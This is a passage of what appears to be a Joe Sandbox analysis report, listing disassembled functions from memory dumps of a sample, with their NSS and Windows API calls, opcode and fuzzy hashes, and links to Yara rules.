Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: 055afcc2bec6b32e7c72247c29ff1e48a4807ac347a859fd7198aeab34f99ff7
Instruction ID: 10ec4b9ceea495336d4ab959a46209a6a1da7b5c5ddcc2a75f401bac93a4134f
Opcode Fuzzy Hash: 055afcc2bec6b32e7c72247c29ff1e48a4807ac347a859fd7198aeab34f99ff7
Instruction Fuzzy Hash: AB11E772A4024477FF025F646D81FF63A59AF6939CF060260FE18596D2F771C8A887A1

Function 6CA33C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA33D3F

Part of subcall function 6C9ABA90: PORT_NewArena_Util.NSS3(00000800,6CA33CAF,?), ref: 6C9ABABF
Part of subcall function 6C9ABA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CA33CAF,?), ref: 6C9ABAD5
Part of subcall function 6C9ABA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CA33CAF,?), ref: 6C9ABB08
Part of subcall function 6C9ABA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA33CAF,?), ref: 6C9ABB1A
Part of subcall function 6C9ABA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CA33CAF,?), ref: 6C9ABB3B

PR_EnterMonitor.NSS3(?), ref: 6CA33CCB

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

PR_EnterMonitor.NSS3(?), ref: 6CA33CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA33CF8
PR_ExitMonitor.NSS3(?), ref: 6CA33D15
PR_ExitMonitor.NSS3(?), ref: 6CA33D2E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: af35bcdf38948de70f0c7d47bf51fc830f3983a29684c6bc700cb8d42a1de18c
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 111138B56066106FE7215A7AFD5279BB2E4EF11248F005934E48EC7B20E632E85EC242

Function 6C9B89E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
PR_Unlock.NSS3(?), ref: 6C9B8A35
memset.VCRUNTIME140(6C9B88AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A45
free.MOZGLUE(6C9B88A6,?,6C9B88AE,-00000008), ref: 6C9B8A4E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 1a412cd94868faaf474082283753b7d3a8b7a74f0f691e930d1e276b28e36a09
Instruction ID: 2160157981cfc4f1a244bda89035c6a844a3b8af06d26a1f9354b6727f709252
Opcode Fuzzy Hash: 1a412cd94868faaf474082283753b7d3a8b7a74f0f691e930d1e276b28e36a09
Instruction Fuzzy Hash: B81104B5E00302ABEB04AF68DC85A9BBB7CFF19718F044526E918A7600E731E559C7E5

Function 6C9FFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C9FFE08

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C9FFE1D

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C9FFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C9FFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C9FFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C9FFE6F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 419a2923cd7536477f51031c6059f1cf73030cc7f2d426d0e5c14c2c1c02b317
Instruction ID: ce2560a7f996ec9f2d528d6c2b51e85e12bf30543fc84962603b2bf97939dd5d
Opcode Fuzzy Hash: 419a2923cd7536477f51031c6059f1cf73030cc7f2d426d0e5c14c2c1c02b317
Instruction Fuzzy Hash: C11148B7A00201ABEB008F54EC40A5B77DCAF1529DF208034F93C87B12E731E959C791

Function 6CA09930 Relevance: 9.1, APIs: 6, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00001000), ref: 6CA0993A

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000050), ref: 6CA0994B

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA09999
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA099A7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CA099B2
PK11_GetInternalSlot.NSS3 ref: 6CA099BE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Arena_ErrorValue$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockPoolSectionSlotUnlockcalloc
String ID:
API String ID: 3107460537-0
Opcode ID: 000dbfedb6bc53ce957a25a7b56ba80ff67aca8dd236de06f4bfab113265d8f9
Instruction ID: 0ef4631359ddaa336db9bb760c7024b4a283f46bea9fa66b6778f5bbf3cf01fb
Opcode Fuzzy Hash: 000dbfedb6bc53ce957a25a7b56ba80ff67aca8dd236de06f4bfab113265d8f9
Instruction Fuzzy Hash: 20110471E00B4157E720CFB9AE007A673D09FA57CCF109629B98D82A50E660E1C88351

Function 6CA0B990 Relevance: 9.1, APIs: 6, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6CA0A78B,?), ref: 6CA0B9A4

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6CA0B9B5

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6CA0B9D9

Part of subcall function 6C9CDDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C9CDDEC
Part of subcall function 6C9CDDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C9CDE70
Part of subcall function 6C9CDDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C9CDE83
Part of subcall function 6C9CDDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C9CDE95
Part of subcall function 6C9CDDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C9CDEAE
Part of subcall function 6C9CDDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9CDEBB

PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6CA0B9EC
SGN_CreateDigestInfo_Util.NSS3(00000004,00000000,00000014,?,?,?,?,?,?,?), ref: 6CA0B9FD
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CA0BA0A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_Util$Digest$Arena$Arena_Value$Alloc_AllocateBeginContextCreateCriticalDestroyEnterErrorFinalFindFreeHashInfo_InitLockPoolResultSectionTag_Unlockcalloc
String ID:
API String ID: 2979523880-0
Opcode ID: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction ID: 822f64e5b87193bc069a392532487fe770f2d00c364b720cfa58694b79be3333
Opcode Fuzzy Hash: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction Fuzzy Hash: BA01FC77B4030527FB0016617D42FA225498BE17DDF190230FF189A792FBA1D59842B1

Function 6CAB8910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CAB892E

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

PR_Lock.NSS3 ref: 6CAB8950

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

getprotobynumber.WSOCK32(?), ref: 6CAB8959
GetLastError.KERNEL32(?), ref: 6CAB8967
PR_GetCurrentThread.NSS3(?,?), ref: 6CAB896F
PR_Unlock.NSS3(?,?), ref: 6CAB898A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 91e1364f5c9e35ca7b69cf0536a6dc7b5ca40b8c79eb4b893ab04516c05fb021
Instruction ID: 31e1c63507f21483f6087d422f0124db77cdb822414cfc1591f267d7e3552d8b
Opcode Fuzzy Hash: 91e1364f5c9e35ca7b69cf0536a6dc7b5ca40b8c79eb4b893ab04516c05fb021
Instruction Fuzzy Hash: 2311E572A101219BCB109FBDDD0058A376CEF45778F0943A6EC19A7BA1D7308C89C7C6

Function 6CAAFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CAAFD9E

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CAAFDB9

Part of subcall function 6C98A900: TlsGetValue.KERNEL32(00000000,?,6CB014E4,?,6C924DD9), ref: 6C98A90F
Part of subcall function 6C98A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C98A94F

PR_Unlock.NSS3 ref: 6CAAFDD4
PR_Lock.NSS3 ref: 6CAAFDF2
PR_NotifyAllCondVar.NSS3 ref: 6CAAFE0D
PR_Unlock.NSS3 ref: 6CAAFE23

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 26fdd3485a00441ac10b3dd3e6fc2004facd88e7a90c718a0ba73d6113c0bd07
Instruction ID: 8f21bfacc4e0e2cba4b708d135392c747718f22c75b65e0de1f8b34c1113e8b8
Opcode Fuzzy Hash: 26fdd3485a00441ac10b3dd3e6fc2004facd88e7a90c718a0ba73d6113c0bd07
Instruction Fuzzy Hash: FA01A1B6B002019BDF098F65FD008857671FB2226C7184378E82647BF1E722DD69CB81

Function 6CA36840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36846

Part of subcall function 6C991770: calloc.MOZGLUE(00000001,0000019C,?,6C9915C2,?,?,?,?,?,00000001,00000040), ref: 6C99178D

PR_NewMonitor.NSS3(00000000,?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36855

Part of subcall function 6C9F8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C9A55D0,00000000,00000000), ref: 6C9F868B
Part of subcall function 6C9F8680: PR_NewLock.NSS3(00000000,00000000), ref: 6C9F86A0
Part of subcall function 6C9F8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C9F86B2
Part of subcall function 6C9F8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C9F86C8
Part of subcall function 6C9F8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C9F86E2
Part of subcall function 6C9F8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C9F86EC
Part of subcall function 6C9F8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C9F8700

PR_NewMonitor.NSS3(?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA3687D

Part of subcall function 6C991770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C9918DE
Part of subcall function 6C991770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C9918F1

PR_NewMonitor.NSS3(?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA3688C

Part of subcall function 6C991770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C9918FC
Part of subcall function 6C991770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C99198A

PR_NewLock.NSS3 ref: 6CA368A5

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewLock.NSS3 ref: 6CA368B4

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 11cce3f9fa810f93353fefc1380901845c119b85774c415f23b4b1054a1a5527
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: E901FFB1601B1746EB516F7649283E7B6E86F16688F18143D886DC5B40EF61D4488BA1

Function 6CA0B920 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000000C,00000000,FFFFFFFF,?,6CA0AD91), ref: 6CA0B927

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

PORT_ZAlloc_Util.NSS3(00000010), ref: 6CA0B93B
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6CA0B950

Part of subcall function 6C9F3F50: TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FA1
Part of subcall function 6C9F3F50: EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FBA
Part of subcall function 6C9F3F50: PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FFE
Part of subcall function 6C9F3F50: PR_SetError.NSS3 ref: 6C9F401A

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA0B961
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA0B96F
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA0B97A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorUtil$Alloc_Value$CriticalEnterGenerateItem_K11_RandomSectionUnlockZfreecalloc
String ID:
API String ID: 3619055319-0
Opcode ID: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction ID: 4f7fab1479fc59ffcf000364c2f55e5f6e7300e1324ba320c7a25995de6ac0ea
Opcode Fuzzy Hash: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction Fuzzy Hash: E1F0E2B2F8031122F62026A93D02F8625884B61BDDF144235EA1DA6B81F786E09D82B3

Function 6C98AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C98AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C98AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C98AF5C
misuse, xrefs: 6C98AFCE
%s at line %d of [%.10s], xrefs: 6C98AFD3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
